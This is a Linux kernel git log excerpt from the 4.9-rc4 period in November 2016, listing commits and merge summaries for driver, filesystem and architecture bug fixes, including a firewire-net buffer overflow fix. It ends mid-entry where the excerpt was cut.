371c6d972709bdd6254832c1aecf3ebf2fdd11c6 Merge: a909d3e 6f77199 Author: Greg Kroah-Hartman Date: Mon Nov 7 09:42:27 2016 +0100 Merge tag 'iio-fixes-for-4.9b' of git://git.kernel.org/pub/scm/linux/kernel/git/jic23/iio into staging-linus Second set of IIO fixes for the 4.9 cycle. Interestingly scale related fixes for accelerometers at both ends of the range. Obviously more varied devices turning up than we've seen before! * ad5933 - fix an uninitialized value in a return case that is winding up GCC. * hid sensors - missing pm function prevents hid rotations sensors from working on newer ISH hubs (works by luck on older ones) - increase of scale precision needed to fix a case where on a yoga 260 the reported scale is 0 (presumably a high precision but very low g sensor). * st_sensors - fix an issue seen with the hs3lis331dl where the range is much greater than previous devices (100's of g) and hence the per bit scale is greater than 1. commit 3a667e3ff78ae81afc49343c753864cc1ede2f77 Author: Jaehoon Chung Date: Mon Oct 31 11:49:42 2016 +0900 mmc: dw_mmc: add the "reset" as name of reset controller Add the "reset" as name of reset controller. This is for preventing the wrong operation. Even if some SoC has reset controller, doesn't define "resets" in device-tree. Then it might be waiting for reset controller and it should be stuck. Fixes: d6786fefe816 ("mmc: dw_mmc: add reset support to dwmmc host controller") Signed-off-by: Jaehoon Chung Acked-by: John Stultz Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a76a3ac3b9b6326a317c59126cdf9e758f85375 Author: Jaehoon Chung Date: Mon Oct 31 11:49:41 2016 +0900 Documentation: synopsys-dw-mshc: add binding for reset-names Add reset-names property for binding dw-mmc controller. It might be used together with "reset" property. - Note: It must be "reset" as name. Fixes: d6786fefe816 ("mmc: dw_mmc: add reset support to dwmmc host controller") Signed-off-by: Jaehoon Chung Acked-by: John Stultz Signed-off-by: Ulf Hansson Documentation/devicetree/bindings/mmc/synopsys-dw-mshc.txt | 5 +++++ 1 file changed, 5 insertions(+) commit d4eccafcaf339de77ec562e96e6b223d447f924a Author: Max Filippov Date: Fri Nov 4 14:45:08 2016 -0700 xtensa: clean up printk usage for boot/crash logging Convert printk(KERN_* to pr_* and printk's without level to pr_cont. This fixes torn register dumps, stack dumps, stack traces and timestamps in the middle of 'Calibrating CPU frequency' message. Also drop unused show_code and drop false comment about show_stack. Signed-off-by: Max Filippov arch/xtensa/kernel/time.c | 14 ++++----- arch/xtensa/kernel/traps.c | 74 ++++++++++++++-------------------------------- 2 files changed, 29 insertions(+), 59 deletions(-) commit 712cba5d87a6c0e980ee5fad45734e189c4d7151 Merge: a4c6be5 a909d3e Author: Max Filippov Date: Sun Nov 6 23:31:10 2016 -0800 Merge tag 'v4.9-rc3' into xtensa-for-next Linux 4.9-rc3 commit 020a0bbc0d89c15693e69ed2063584ef7ec2d811 Merge: 672c989 1697608 Author: Dave Airlie Date: Mon Nov 7 09:41:10 2016 +1000 Merge branch 'msm-fixes-4.9' of git://people.freedesktop.org/~robclark/linux into drm-fixes Fixes for some msm issues * 'msm-fixes-4.9' of git://people.freedesktop.org/~robclark/linux: drm/msm: Fix error handling crashes seen when VRAM allocation fails drm/msm/mdp5: 8x16 actually has 8 mixer stages drm/msm/mdp5: no scaling support on RGBn pipes for 8x16 drm/msm/mdp5: handle non-fullscreen base plane case drm/msm: Set CLK_IGNORE_UNUSED flag for PLL clocks drm/msm/dsi: Queue HPD helper work in attach/detach callbacks commit 672c98915891285b04b97ea6112c7db507903595 Merge: bc33b0c 245ae5e Author: Dave Airlie Date: Mon Nov 7 09:40:40 2016 +1000 Merge branch 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux into drm-fixes A few more fixes for 4.9. * 'drm-fixes-4.9' of git://people.freedesktop.org/~agd5f/linux: drm/amdgpu: add some error handling to amdgpu_init v2 drm/amd: fix scheduler fence teardown order v2 drm/amd/powerplay: don't succeed in getters if fan is missing drm/amdgpu: make sure ddc_bus is valid in connector unregister drm/radeon: Fix kernel panic on shutdown drm/amdgpu: disable runtime pm in certain cases drm/radeon: disable runtime pm in certain cases drm/amdgpu: add support for new smc firmware on iceland drm/amdgpu: add support for new smc firmware on tonga commit 772918524dfb8c8869120728c1b1109a2d49493c Author: Christophe JAILLET Date: Sun Oct 30 05:28:27 2016 +0100 nbd: Fix error handling 'blk_mq_alloc_request()' returns an error pointer in case of error, not NULL. So test it with IS_ERR. Fixes: fd8383fd88a2 ("nbd: convert to blkmq") Signed-off-by: Christophe JAILLET Signed-off-by: Jens Axboe drivers/block/nbd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6d6d36bc6e77f8b1f86d81884ad5149931bb4acd Author: Eryu Guan Date: Tue Nov 1 15:43:07 2016 +0800 mm/filemap: don't allow partially uptodate page for pipes Starting from 4.9-rc1 kernel, I started noticing some test failures of sendfile(2) and splice(2) (sendfile0N and splice01 from LTP) when testing on sub-page block size filesystems (tested both XFS and ext4), these syscalls start to return EIO in the tests. e.g. sendfile02 1 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 26, got: -1 sendfile02 2 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 24, got: -1 sendfile02 3 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 22, got: -1 sendfile02 4 TFAIL : sendfile02.c:133: sendfile(2) failed to return expected value, expected: 20, got: -1 This is because that in sub-page block size cases, we don't need the whole page to be uptodate, only the part we care about is uptodate is OK (if fs has ->is_partially_uptodate defined). But page_cache_pipe_buf_confirm() doesn't have the ability to check the partially-uptodate case, it needs the whole page to be uptodate. So it returns EIO in this case. This is a regression introduced by commit 82c156f85384 ("switch generic_file_splice_read() to use of ->read_iter()"). Prior to the change, generic_file_splice_read() doesn't allow partially-uptodate page either, so it worked fine. Fix it by skipping the partially-uptodate check if we're working on a pipe in do_generic_file_read(), so we read the whole page from disk as long as the page is not uptodate. Signed-off-by: Eryu Guan Signed-off-by: Al Viro mm/filemap.c | 3 +++ 1 file changed, 3 insertions(+) commit 2c7a5c5c48d97ce3105f3258a259f67b7b9d7eb1 Author: Guenter Roeck Date: Sat Sep 24 07:15:02 2016 -0700 openrisc: Define __ro_after_init to avoid crash openrisc qemu tests fail with the following crash. Unable to handle kernel access at virtual address 0xc0300c34 Oops#: 0001 CPU #: 0 PC: c016c710 SR: 0000ae67 SP: c1017e04 GPR00: 00000000 GPR01: c1017e04 GPR02: c0300c34 GPR03: c0300c34 GPR04: 00000000 GPR05: c0300cb0 GPR06: c0300c34 GPR07: 000000ff GPR08: c107f074 GPR09: c0199ef4 GPR10: c1016000 GPR11: 00000000 GPR12: 00000000 GPR13: c107f044 GPR14: c0473774 GPR15: 07ce0000 GPR16: 00000000 GPR17: c107ed8a GPR18: 00009600 GPR19: c107f044 GPR20: c107ee74 GPR21: 00000003 GPR22: c0473770 GPR23: 00000033 GPR24: 000000bf GPR25: 00000019 GPR26: c046400c GPR27: 00000001 GPR28: c0464028 GPR29: c1018000 GPR30: 00000006 GPR31: ccf37483 RES: 00000000 oGPR11: ffffffff Process swapper (pid: 1, stackpage=c1001960) Stack: Stack dump [0xc1017cf8]: sp + 00: 0xc1017e04 sp + 04: 0xc0300c34 sp + 08: 0xc0300c34 sp + 12: 0x00000000 ... Bisect points to commit d2ec3f77de8e ("pty: make ptmx file ops read-only after init"). Fix by defining __ro_after_init for the openrisc architecture, similar to parisc. Fixes: d2ec3f77de8e ("pty: make ptmx file ops read-only after init") Cc: Kees Cook Signed-off-by: Guenter Roeck Acked-by: Stafford Horne arch/openrisc/include/asm/cache.h | 2 ++ 1 file changed, 2 insertions(+) commit bc33b0ca11e3df467777a4fa7639ba488c9d4911 Author: Linus Torvalds Date: Sat Nov 5 16:23:36 2016 -0700 Linux 4.9-rc4 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bd060ac0f6b3442317b4f1d7ea0ff2c9b3d977a0 Merge: ffbcbfc 147b36d Author: Linus Torvalds Date: Sat Nov 5 15:30:12 2016 -0700 Merge branch 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull i2c fix from Wolfram Sang: "A bugfix for the I2C core fixing a (rare) race condition" * 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: i2c: core: fix NULL pointer dereference under race condition commit 272d01bd790fdf3f1b16372fe28136e27756756f Author: Catalin Marinas Date: Thu Nov 3 18:34:34 2016 +0000 arm64: Fix circular include of asm/lse.h through linux/jump_label.h Commit efd9e03facd0 ("arm64: Use static keys for CPU features") introduced support for static keys in asm/cpufeature.h, including linux/jump_label.h. When CC_HAVE_ASM_GOTO is not defined, this causes a circular dependency via linux/atomic.h, asm/lse.h and asm/cpufeature.h. This patch moves the capability macros out out of asm/cpufeature.h into a separate asm/cpucaps.h and modifies some of the #includes accordingly. Fixes: efd9e03facd0 ("arm64: Use static keys for CPU features") Reported-by: Artem Savkov Tested-by: Artem Savkov Signed-off-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/include/asm/alternative.h | 2 +- arch/arm64/include/asm/cpucaps.h | 40 ++++++++++++++++++++++++++++++++++++ arch/arm64/include/asm/cpufeature.h | 20 +----------------- arch/arm64/include/asm/lse.h | 1 - 4 files changed, 42 insertions(+), 21 deletions(-) commit ffbcbfca846ed117e3d4009acfbf1e1590c56b2f Merge: 6c286e8 8243d55 405c075 Author: Linus Torvalds Date: Sat Nov 5 11:46:02 2016 -0700 Merge branches 'sched-urgent-for-linus' and 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull stack vmap fixups from Thomas Gleixner: "Two small patches related to sched_show_task(): - make sure to hold a reference on the task stack while accessing it - remove the thread_saved_pc printout .. and add a sanity check into release_task_stack() to catch problems with task stack references" * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: sched/core: Remove pointless printout in sched_show_task() sched/core: Fix oops in sched_show_task() * 'core-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: fork: Add task stack refcounting sanity check and prevent premature task stack freeing commit 6c286e812d5f306ebf991c3f78ebc511121896e0 Merge: e12d8d5 1217e1d Author: Linus Torvalds Date: Sat Nov 5 11:34:07 2016 -0700 Merge tag 'md/4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/shli/md Pull MD fixes from Shaohua Li: "There are several bug fixes queued: - fix raid5-cache recovery bugs - fix discard IO error handling for raid1/10 - fix array sync writes bogus position to superblock - fix IO error handling for raid array with external metadata" * tag 'md/4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/shli/md: md: be careful not lot leak internal curr_resync value into metadata. -- (all) raid1: handle read error also in readonly mode raid5-cache: correct condition for empty metadata write md: report 'write_pending' state when array in sync md/raid5: write an empty meta-block when creating log super-block md/raid5: initialize next_checkpoint field before use RAID10: ignore discard error RAID1: ignore discard error commit e12d8d512f090b6c540c7f75bf879f0d6a908587 Merge: f29b909 49ce5b5 Author: Linus Torvalds Date: Sat Nov 5 11:28:21 2016 -0700 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fixes from James Bottomley: "Two more important data integrity fixes related to RAID device drivers which wrongly throw away the SYNCHRONIZE CACHE command in the non-RAID path and a memory leak in the scsi_debug driver" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices commit f29b909db9df7e7e0bdd0b2c41e3c9d6c7db41a3 Merge: 03daa36 324ae09 Author: Linus Torvalds Date: Sat Nov 5 11:26:11 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input Pull input subsystem updates from Dmitry Torokhov. * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input: Input: psmouse - cleanup Focaltech code Input: i8042 - add XMG C504 to keyboard reset table commit 03daa36f089f31002a2d0fb22088d3ebe3e28d98 Merge: d8d1721 e9300a4 Author: Linus Torvalds Date: Sat Nov 5 11:17:34 2016 -0700 Merge tag 'firewire-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/ieee1394/linux1394 Pull FireWire (IEEE 1394) fixes from Stefan Richter: - add missing input validation to the firewire-net driver. Invalid IP-over-1394 encapsulation headers could trigger buffer overflows (CVE 2016-8633). - IP-over-1394 link fragmentation headers were read and written incorrectly, breaking fragmented RX/TX with other OS's stacks. * tag 'firewire-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/ieee1394/linux1394: firewire: net: fix fragmented datagram_size off-by-one firewire: net: guard against rx buffer overflows commit d8d1721cfb3162abbda078d67a928792d6552b84 Merge: 41e6410 1aeb5b6 Author: Linus Torvalds Date: Sat Nov 5 11:15:09 2016 -0700 Merge tag 'media/v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media Pull media fixes from Mauro Carvalho Chehab: "A series of fixup patches meant to fix the usage of DMA on stack, plus one warning fixup" * tag 'media/v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media: (32 commits) [media] radio-bcm2048: don't ignore errors [media] pctv452e: fix semicolon.cocci warnings [media] flexcop-usb: don't use stack for DMA [media] stk-webcam: don't use stack for DMA [media] s2255drv: don't use stack for DMA [media] cpia2_usb: don't use stack for DMA [media] digitv: handle error code on RC query [media] dw2102: return error if su3000_power_ctrl() fails [media] nova-t-usb2: handle error code on RC query [media] technisat-usb2: use DMA buffers for I2C transfers [media] pctv452e: don't call BUG_ON() on non-fatal error [media] pctv452e: don't do DMA on stack [media] nova-t-usb2: don't do DMA on stack [media] gp8psk: don't go past the buffer size [media] gp8psk: don't do DMA on stack [media] dtv5100: don't do DMA on stack [media] dtt200u: handle USB control message errors [media] dtt200u: don't do DMA on stack [media] dtt200u-fe: handle errors on USB control messages [media] dtt200u-fe: don't do DMA on stack ... commit 41e6410ec3037cee1751d8f7d152a9ebec1fc1fc Merge: 785bcb4 416379f Author: Linus Torvalds Date: Sat Nov 5 11:11:31 2016 -0700 Merge tag 'pci-v4.9-fixes-2' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci Pull PCI fixes from Bjorn Helgaas: - fix for a Qualcomm driver issue that causes a use-before-set crash - fix for DesignWare iATU unroll support that causes external aborts when enabling the host bridge * tag 'pci-v4.9-fixes-2' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci: PCI: designware: Check for iATU unroll support after initializing host PCI: qcom: Fix pp->dev usage before assignment commit 785bcb40a065748368bd16091171e43d260c77a5 Merge: d299704 0e2ce9d Author: Linus Torvalds Date: Sat Nov 5 10:52:29 2016 -0700 Merge tag 'for-linus-20161104' of git://git.infradead.org/linux-mtd Pull MTD fixes from Brian Norris: - MAINTAINERS updates to reflect some new maintainers/submaintainers. We have some great volunteers who've been developing and reviewing already. We're going to try a group maintainership model, so eventually you'll probably see pull requests from people besides me. - NAND fixes from Boris: "Three simple fixes: - fix a non-critical bug in the gpmi driver - fix a bug in the 'automatic NAND timings selection' feature introduced in 4.9-rc1 - fix a false positive uninitialized-var warning" * tag 'for-linus-20161104' of git://git.infradead.org/linux-mtd: mtd: mtk: avoid warning in mtk_ecc_encode mtd: nand: Fix data interface configuration logic mtd: nand: gpmi: disable the clocks on errors MAINTAINERS: add more people to the MTD maintainer team MAINTAINERS: add a maintainer for the SPI NOR subsystem commit 6f77199e9e4b84340c751c585691d7642a47d226 Author: Song Hongyan Date: Tue Oct 25 01:30:07 2016 +0000 iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation. While testing, it was observed that on some platforms the scale value from iio sysfs for gyroscope is always 0 (E.g. Yoga 260). This results in the final angular velocity component values to be zeros. This is caused by insufficient precision of scale value displayed in sysfs. If the precision is changed to nano from current micro, then this is sufficient to display the scale value on this platform. Since this can be a problem for all other HID sensors, increase scale precision of all HID sensors to nano from current micro. Results on Yoga 260: name scale before scale now -------------------------------------------- gyro_3d 0.000000 0.000000174 als 0.001000 0.001000000 magn_3d 0.000001 0.000001000 accel_3d 0.000009 0.000009806 Signed-off-by: Song Hongyan Acked-by: Srinivas Pandruvada Cc: Signed-off-by: Jonathan Cameron .../iio/common/hid-sensors/hid-sensor-attributes.c | 56 +++++++++++----------- 1 file changed, 28 insertions(+), 28 deletions(-) commit d29970401f30b251674888c147b0d33654bf6df9 Merge: 594aef6 d1f63f0 Author: Linus Torvalds Date: Sat Nov 5 10:49:28 2016 -0700 Merge tag 'mmc-v4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc Pull MMC fixes from Ulf Hansson: "MMC host: - sdhci-msm: Fix error path in probe - dw_mmc-pltfm: Avoid NULL pointer dereference" * tag 'mmc-v4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc: mmc: sdhci-msm: Fix error return code in sdhci_msm_probe() mmc: dw_mmc-pltfm: fix the potential NULL pointer dereference commit 8af644a7d6846f48d6b72be5d4a3c6eb16bd33c8 Author: Song Hongyan Date: Tue Oct 25 01:06:03 2016 +0000 iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver) This fix makes newer ISH hubs work. Previous ones worked by lucky coincidence. Rotation sensor function does not work due to miss PM function. Add common hid sensor iio pm function for rotation sensor. Further clarification from Srinivas: If CONFIG_PM is not defined, then this prevents this sensor to function. So above commit caused this. This sensor was supposed to be always on to trigger wake up in prior external hubs. But with the new ISH hub this is not the case. Signed-off-by: Song Hongyan Fixes: 2b89635e9a9e ("iio: hid_sensor_hub: Common PM functions") Cc: Signed-off-by: Jonathan Cameron drivers/iio/orientation/hid-sensor-rotation.c | 1 + 1 file changed, 1 insertion(+) commit 594aef64b63469f7e8bfde9c77bb380045cf652e Merge: fb415f2 812d478 Author: Linus Torvalds Date: Sat Nov 5 10:42:20 2016 -0700 Merge tag 'gpio-v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio Pull GPIO fixes from Linus Walleij: "Some GPIO fixes for the v4.9 series: - Fix a nasty file descriptor leak when getting line handles. - A fix for a cleanup that seemed innocent but created a problem for drivers instantiating several gpiochips for one single OF node. - Fix a unpredictable problem using irq_domain_simple() in the mvebu driver by converting it to a lineas irqdomain" * tag 'gpio-v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio: gpio/mvebu: Use irq_domain_add_linear gpio: of: fix GPIO drivers with multiple gpio_chip for a single node gpio: GPIO_GET_LINE{HANDLE,EVENT}_IOCTL: Fix file descriptor leak commit 4c4480aad0d8eaf0d52b6f2c8c5dfbe0531cbbea Author: Ooi, Joyce Date: Thu Nov 3 18:55:15 2016 +0800 HID: sensor: fix attributes in HID sensor interface User is unable to access to input-X-yyy and feature-X-yyy where X is a hex value and more than 9 (e.g. input-a-yyy, feature-b-yyy) in HID sensor custom sysfs interface. This is because when creating the attribute, the attribute index is written to using %x (hex). However, when reading and writing values into the attribute, the attribute index is scanned using %d (decimal). Hence, user is unable to access to attributes with index in hex values (e.g. 'a', 'b', 'c') but able to access to attributes with index in decimal values (e.g. 1, 2, 3,..). This fix will change input-%d-%x-%s and feature-%d-%x-%s to input-%x-%x-%s and feature-%x-%x-%s in show_values() and store_values() accordingly. Signed-off-by: Ooi, Joyce Reviewed-by: Benjamin Tissoires Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/hid-sensor-custom.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 021afd55e2191248b471b29b9d0a96c267939a4d Author: Srinivas Pandruvada Date: Fri Oct 21 15:48:41 2016 -0700 HID: intel-ish-hid: request_irq failure On some platforms ISH interrupt is shared, which causes request_irq to fail. This requires IRQF_SHARED irq flag. But IRQF_NO_SUSPEND and IRQF_SHARED should not be used together, so removed IRQF_NO_SUSPEND flag. Anyway this driver doesn't require IRQF_NO_SUSPEND, as this interrupt is not required during "noirq" phases of suspending and resuming devices as well as during the time when nonboot CPUs are taken offline and brought back online. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/pci-ish.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2a1e3b932c5606e2b3671b82eb63929937eb1e0b Author: Even Xu Date: Fri Oct 21 15:48:40 2016 -0700 HID: intel-ish-hid: Fix driver reinit failure When built as a module, modprobe followed by rmmod can fail because DMA was still active. So to fix this, DMA needs to be disabled during module exit. This change disables DMA during modules exit and change the ISH PCI device status to D3. Signed-off-by: Even Xu Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/ipc.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 8b2979febc134f038f3c8396cb04893f96e03b4f Author: Even Xu Date: Fri Oct 21 15:48:39 2016 -0700 HID: intel-ish-hid: Move DMA disable code to new function Add a new function ish_disable_dma() and move DMA disable operations here, so that this functionality can be reused. Signed-off-by: Even Xu Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/ipc.c | 42 ++++++++++++++++++++++++++++--------- 1 file changed, 32 insertions(+), 10 deletions(-) commit c2ed83f5426624beda0ecfcb17df033fe4bff7f7 Author: Even Xu Date: Fri Oct 21 15:48:38 2016 -0700 HID: intel-ish-hid: consolidate ish wake up operation Same operations are done in ish_hw_start() and _ish_hw_reset() to wakeup ISH device. Consolidate them by introducing a new function ish_wakeup() and move the code there. Signed-off-by: Even Xu Acked-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/ipc/ipc.c | 45 +++++++++++++++++++++---------------- 1 file changed, 26 insertions(+), 19 deletions(-) commit e3c9d9d6ebfeeeee29c6240e1b5978d40d31d21f Author: Fabio Estevam Date: Thu Oct 27 13:06:44 2016 -0200 ARM: dts: imx53-qsb: Fix regulator constraints Since commit fa93fd4ecc9c ("regulator: core: Ensure we are at least in bounds for our constraints") the imx53-qsb board populated with a Dialog DA9053 PMIC fails to boot: LDO3: Bringing 3300000uV into 1800000-1800000uV The LDO3 voltage constraints passed in the device tree do not match the valid range according to the datasheet, so fix this accordingly to allow the board booting again. While at it, fix the other voltage constraints as well. Cc: # 4.7.x Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx53-qsb.dts | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 4320f9d4c1831fd4d244a9de8f81bc27ea67699c Author: Icenowy Zheng Date: Sat Oct 29 00:27:01 2016 +0800 phy: sun4i: check PMU presence when poking unknown bit of pmu Allwinner SoC's PHY 0, when used as OTG controller, have no pmu part. The code that poke some unknown bit of PMU for H3/A64 didn't check the PHY, and will cause kernel oops when PHY 0 is used. This patch will check whether the pmu is not NULL before poking. Fixes: b3e0d141ca9f (phy: sun4i: add support for A64 usb phy) Signed-off-by: Icenowy Zheng Acked-by: Maxime Ripard Reviewed-by: Hans de Goede Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-sun4i-usb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 232c260982ab0100cbb29055933e45b928252687 Author: Shawn Lin Date: Thu Oct 13 12:42:13 2016 +0800 phy-rockchip-pcie: remove deassert of phy_rst from exit callback The deassert of phy_rst from exit callback is incorrect as when doing phy_exit, we expect the phy_rst is on asserted state which was done by power_off callback, but not deasserted state. Meanwhile when disabling clk_pciephy_ref, the assert/deassert signal can't actually take effect on the phy. So let's fix it anyway. Signed-off-by: Shawn Lin Reviewed-by: Heiko Stuebner Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-rockchip-pcie.c | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) commit 766325427fdb2a6816778b39331637761bccf13a Author: Axel Haslam Date: Thu Nov 3 17:03:07 2016 +0100 phy: da8xx-usb: rename the ohci device to ohci-da8xx The ohci device name has changed in the board configuraion files, hence, change the phy lookup table to match the new name. Signed-off-by: Axel Haslam Signed-off-by: Kishon Vijay Abraham I drivers/phy/phy-da8xx-usb.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 98430c7aad6a3fdedcc78a0d6780dabb6580dc38 Author: Randy Li Date: Tue Oct 25 22:15:34 2016 +0800 phy: Add reset callback for not generic phy Add a dummy function for phy_reset in case the CONFIG_GENERIC_PHY is disabled. Signed-off-by: Randy Li Signed-off-by: Kishon Vijay Abraham I include/linux/phy/phy.h | 7 +++++++ 1 file changed, 7 insertions(+) commit fb415f222c26d0d1fa19615af1d102bf5f5b3ca2 Merge: 46d7cbb f46c445 Author: Linus Torvalds Date: Fri Nov 4 20:12:10 2016 -0700 Merge tag 'nfsd-4.9-1' of git://linux-nfs.org/~bfields/linux Pull nfsd bugfixes from Bruce Fields: "Fixes for some recent regressions including fallout from the vmalloc'd stack change (after which we can no longer encrypt stuff on the stack)" * tag 'nfsd-4.9-1' of git://linux-nfs.org/~bfields/linux: nfsd: Fix general protection fault in release_lock_stateid() svcrdma: backchannel cannot share a page for send and rcv buffers sunrpc: fix some missing rq_rbuffer assignments sunrpc: don't pass on-stack memory to sg_set_buf nfsd: move blocked lock handling under a dedicated spinlock commit 46d7cbb2c49ac93246aad9ac76b39ef2ac7bc41b Merge: bd30fac 9d1032c Author: Linus Torvalds Date: Fri Nov 4 20:08:16 2016 -0700 Merge branch 'for-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux Pull btrfs fixes from Chris Mason: "Some fixes that Dave Sterba collected. We held off on these last week because I was focused on the memory corruption testing" * 'for-4.9-rc3' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux: btrfs: fix WARNING in btrfs_select_ref_head() Btrfs: remove some no-op casts btrfs: pass correct args to btrfs_async_run_delayed_refs() btrfs: make file clone aware of fatal signals btrfs: qgroup: Prevent qgroup->reserved from going subzero Btrfs: kill BUG_ON in do_relocation commit bd30fac18f9ec12b0c2590ebdb8e18ddb104c065 Merge: d4c5f43 641089c Author: Linus Torvalds Date: Fri Nov 4 20:03:14 2016 -0700 Merge branch 'overlayfs-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs Pull overlayfs fixes from Miklos Szeredi: "Fix two more POSIX ACL bugs introduced in 4.8 and add a missing fsync during copy up to prevent possible data loss" * 'overlayfs-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs: ovl: fsync after copy-up ovl: fix get_acl() on tmpfs ovl: update S_ISGID when setting posix ACLs commit efce21fc43e00a76aee7b0a1eda73730ed2d5d3a Author: Tero Kristo Date: Thu Oct 27 11:27:26 2016 +0530 rtc: omap: prevent disabling of clock/module during suspend If RTC is running from an internal clock source, the RTC module can't be disabled; otherwise it stops ticking completely. Current suspend handler implementation disables the clock/module unconditionally, instead fix this by disabling the clock only if we are running on external clock source, which is not affected by suspend. The prevention of disabling the clock must be done via implementing the runtime_pm handlers for the device, and returning an error code from the runtime suspend handler; otherwise OMAP core PM will disable the clocks for the driver. Signed-off-by: Tero Kristo Signed-off-by: Keerthy Signed-off-by: Alexandre Belloni drivers/rtc/rtc-omap.c | 32 ++++++++++++++++++++++++++------ 1 file changed, 26 insertions(+), 6 deletions(-) commit 3984903a2e3906d3def220e688040ce93368200a Author: Lokesh Vutla Date: Thu Oct 27 11:27:25 2016 +0530 rtc: omap: Fix selecting external osc RTC can be clocked from an external 32KHz oscillator, or from the Peripheral PLL. The RTC has an internal oscillator buffer to support direct operation with a crystal. ---------------------------------------- | Device --------- | | | | | | | RTCSS | | | --------- | | | OSC |<------| RTC | | | | |------>| OSC |--- | | | | -------- | | | | | ----|clk | | | -------- | | | | | | PRCM |--- | | | | -------- -------- | ---------------------------------------- The RTC functional clock is sourced by default from the clock derived from the Peripheral PLL. In order to select source as external osc clk the following changes needs to be done: - Enable the RTC OSC (RTC_OSC_REG[4]OSC32K_GZ = 0) - Enable the clock mux(RTC_OSC_REG[6]K32CLK_EN = 1) - Select the external clock source (RTC_OSC_REG[3]32KCLK_SEL = 1) Fixes: 399cf0f63f6f2 ("rtc: omap: Add external clock enabling support") Signed-off-by: Keerthy Signed-off-by: Lokesh Vutla Signed-off-by: Dave Gerlach Signed-off-by: Alexandre Belloni drivers/rtc/rtc-omap.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit d2cdf5dc58f6970e9d9d26e47974c21fe87983f3 Author: Mika Westerberg Date: Mon Oct 31 16:57:33 2016 +0200 pinctrl: cherryview: Prevent possible interrupt storm on resume When the system is suspended to S3 the BIOS might re-initialize certain GPIO pins back to their original state or it may re-program interrupt mask of others. For example Acer TravelMate B116-M had BIOS bug where certain GPIO pin (MF_ISH_GPIO_5) was programmed to trigger on high level, and the pin state was high once the BIOS gave control to the OS on resume. This triggers lots of messages like: irq 117, desc: ffff88017a61e600, depth: 1, count: 0, unhandled: 0 ->handle_irq(): ffffffff8109b613, handle_bad_irq+0x0/0x1e0 ->irq_data.chip(): ffffffffa0020180, chv_pinctrl_exit+0x2d84/0x12 [pinctrl_cherryview] ->action(): (null) IRQ_NOPROBE set We reset the mask back to known state in chv_pinctrl_resume() but that is called only after device interrupts have already been enabled. Now, this particular issue was fixed by upgrading the BIOS to the latest (v1.23) but not everybody upgrades their BIOSes so we fix it up in the driver as well. Prevent the possible interrupt storm by moving suspend and resume hooks to be called at _noirq time instead. Since device interrupts are still disabled we can restore the mask back to known state before interrupt storm happens. Cc: stable@vger.kernel.org Reported-by: Christian Steiner Signed-off-by: Mika Westerberg Signed-off-by: Linus Walleij drivers/pinctrl/intel/pinctrl-cherryview.c | 7 ++++--- 1 